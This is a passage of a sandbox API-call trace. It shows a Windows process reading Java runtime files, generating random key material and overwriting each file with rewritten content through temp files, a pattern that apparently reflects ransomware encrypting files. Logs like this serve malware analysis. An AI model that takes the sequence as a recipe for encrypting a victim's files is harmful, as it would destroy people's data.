	[0263.567] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e")) returned 0
	[0263.568] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e")) returned 0x20
	[0263.568] CloseHandle (hObject=0x1b0) returned 1
	[0263.568] CloseHandle (hObject=0x120) returned 1
	[0263.568] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e")) returned 1
	[0263.748] SetEvent (hEvent=0xfc) returned 1
	[0263.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0263.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0263.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0263.748] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0263.748] GetFileType (hFile=0x120) returned 0x1
	[0263.748] GetFileType (hFile=0x120) returned 0x1
	[0263.748] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0263.748] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0263.749] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e6580, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6580*, lpNumberOfBytesRead=0xc0001dbb04*=0x99, lpOverlapped=0x0) returned 1
	[0263.750] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e6619, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6619*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0263.750] CloseHandle (hObject=0x120) returned 1
	[0263.750] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092600 | out: pbBuffer=0xc000092600) returned 1
	[0263.750] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000094310 | out: pbBuffer=0xc000094310) returned 1
	[0263.750] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082801 | out: pbBuffer=0xc000082801) returned 1
	[0263.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0263.984] SetEvent (hEvent=0x124) returned 1
	[0263.984] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0263.984] GetFileType (hFile=0x1ac) returned 0x1
	[0263.984] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000180400*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000180400*, lpNumberOfBytesWritten=0xc0001dbbec*=0x199, lpOverlapped=0x0) returned 1
	[0263.985] CloseHandle (hObject=0x1ac) returned 1
	[0263.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0263.987] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.987] GetFileType (hFile=0x1ac) returned 0x1
	[0263.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0263.987] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.987] GetFileType (hFile=0x120) returned 0x1
	[0263.987] VirtualAlloc (lpAddress=0xc000314000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000314000
	[0263.988] ReadFile (in: hFile=0x120, lpBuffer=0xc000314000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x199, lpOverlapped=0x0) returned 1
	[0263.988] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000314000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x199, lpOverlapped=0x0) returned 1
	[0263.989] ReadFile (in: hFile=0x120, lpBuffer=0xc000314000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000314000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.989] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc")) returned 0
	[0263.989] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc")) returned 0
	[0263.989] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc")) returned 0x20
	[0263.989] CloseHandle (hObject=0x120) returned 1
	[0263.989] CloseHandle (hObject=0x1ac) returned 1
	[0263.990] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d7b39dec6f6c6d8ded1b8b4f18f2b0dc")) returned 1
	[0263.991] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0268.562] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0268.964] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0) returned 0
	[0268.964] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0) returned 0
	[0268.964] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0268.964] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000031bf4 | out: lpMode=0xc000031bf4) returned 0
	[0268.964] GetFileType (hFile=0x1ac) returned 0x1
	[0268.964] GetFileType (hFile=0x1ac) returned 0x1
	[0268.964] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc000031c44 | out: lpFileInformation=0xc000031c44) returned 1
	[0268.964] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc000031c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000031c28) returned 1
	[0268.965] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000162000, nNumberOfBytesToRead=0x1c8de, lpNumberOfBytesRead=0xc000031b04, lpOverlapped=0x0 | out: lpBuffer=0xc000162000*, lpNumberOfBytesRead=0xc000031b04*=0x1c6de, lpOverlapped=0x0) returned 1
	[0269.011] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00017e6de, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000031b04, lpOverlapped=0x0 | out: lpBuffer=0xc00017e6de*, lpNumberOfBytesRead=0xc000031b04*=0x0, lpOverlapped=0x0) returned 1
	[0269.011] CloseHandle (hObject=0x1ac) returned 1
	[0269.012] VirtualAlloc (lpAddress=0xc000338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000338000
	[0269.012] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c04c0 | out: pbBuffer=0xc0000c04c0) returned 1
	[0269.012] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c380 | out: pbBuffer=0xc00028c380) returned 1
	[0269.012] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8801 | out: pbBuffer=0xc0002a8801) returned 1
	[0269.012] VirtualAlloc (lpAddress=0xc000234000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000234000
	[0269.013] VirtualAlloc (lpAddress=0xc0003a6000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a6000
	[0269.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0269.016] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fc04 | out: lpMode=0xc00033fc04) returned 0
	[0269.016] GetFileType (hFile=0x1ac) returned 0x1
	[0269.016] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0003a6000*, nNumberOfBytesToWrite=0x1c7de, lpNumberOfBytesWritten=0xc00033fbec, lpOverlapped=0x0 | out: lpBuffer=0xc0003a6000*, lpNumberOfBytesWritten=0xc00033fbec*=0x1c7de, lpOverlapped=0x0) returned 1
	[0269.019] CloseHandle (hObject=0x1ac) returned 1
	[0269.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0269.023] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0269.023] GetFileType (hFile=0x1ac) returned 0x1
	[0269.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.024] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0269.024] GetFileType (hFile=0x1b4) returned 0x1
	[0269.024] VirtualAlloc (lpAddress=0xc000340000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000340000
	[0269.025] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000340000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.025] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000340000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.026] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000340000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.026] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000340000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.027] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000340000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.027] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000340000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.027] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000340000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesRead=0xc00033fbd4*=0x47de, lpOverlapped=0x0) returned 1
	[0269.027] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000340000*, nNumberOfBytesToWrite=0x47de, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesWritten=0xc00033fb74*=0x47de, lpOverlapped=0x0) returned 1
	[0269.028] ReadFile (in: hFile=0x1b4, lpBuffer=0xc000340000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000340000*, lpNumberOfBytesRead=0xc00033fbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.028] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19")) returned 0
	[0269.028] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19")) returned 0
	[0269.028] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19")) returned 0x20
	[0269.028] CloseHandle (hObject=0x1b4) returned 1
	[0269.028] CloseHandle (hObject=0x1ac) returned 1
	[0269.030] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9d3ac65f01cec26766dbc2fa7d65ce19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9d3ac65f01cec26766dbc2fa7d65ce19")) returned 1
	[0269.032] SetEvent (hEvent=0xf0) returned 1
	[0269.032] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0) returned 0
	[0269.032] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0) returned 0
	[0269.032] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0269.033] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fbf4 | out: lpMode=0xc00033fbf4) returned 0
	[0269.033] GetFileType (hFile=0x1ac) returned 0x1
	[0269.033] GetFileType (hFile=0x1ac) returned 0x1
	[0269.033] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc00033fc44 | out: lpFileInformation=0xc00033fc44) returned 1
	[0269.033] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc00033fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00033fc28) returned 1
	[0269.033] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0007c4000, nNumberOfBytesToRead=0x8ed80, lpNumberOfBytesRead=0xc00033fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0007c4000*, lpNumberOfBytesRead=0xc00033fb04*=0x8eb80, lpOverlapped=0x0) returned 1
	[0270.553] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000852b80, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00033fb04, lpOverlapped=0x0 | out: lpBuffer=0xc000852b80*, lpNumberOfBytesRead=0xc00033fb04*=0x0, lpOverlapped=0x0) returned 1
	[0270.553] CloseHandle (hObject=0x1ac) returned 1
	[0270.553] VirtualAlloc (lpAddress=0xc000240000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000240000
	[0270.554] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002020e0 | out: pbBuffer=0xc0002020e0) returned 1
	[0270.554] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010160 | out: pbBuffer=0xc000010160) returned 1
	[0270.554] VirtualAlloc (lpAddress=0xc000242000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000242000
	[0270.554] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000501 | out: pbBuffer=0xc000000501) returned 1
	[0270.554] VirtualAlloc (lpAddress=0xc000246000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000246000
	[0270.555] VirtualAlloc (lpAddress=0xc00027a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027a000
	[0270.557] VirtualAlloc (lpAddress=0xc00027c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027c000
	[0270.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0270.557] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fc04 | out: lpMode=0xc00033fc04) returned 0
	[0270.558] GetFileType (hFile=0x1ac) returned 0x1
	[0270.558] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0004b0000*, nNumberOfBytesToWrite=0x8ec80, lpNumberOfBytesWritten=0xc00033fbec, lpOverlapped=0x0 | out: lpBuffer=0xc0004b0000*, lpNumberOfBytesWritten=0xc00033fbec*=0x8ec80, lpOverlapped=0x0) returned 1
	[0270.569] CloseHandle (hObject=0x1ac) returned 1
	[0270.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0270.656] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0270.656] GetFileType (hFile=0x1ac) returned 0x1
	[0270.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0270.656] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0270.656] GetFileType (hFile=0x120) returned 0x1
	[0270.656] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.656] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.658] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.658] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.659] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.659] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.660] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.660] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.661] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.661] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.662] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.662] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.663] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.663] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.664] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.664] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.664] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.665] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
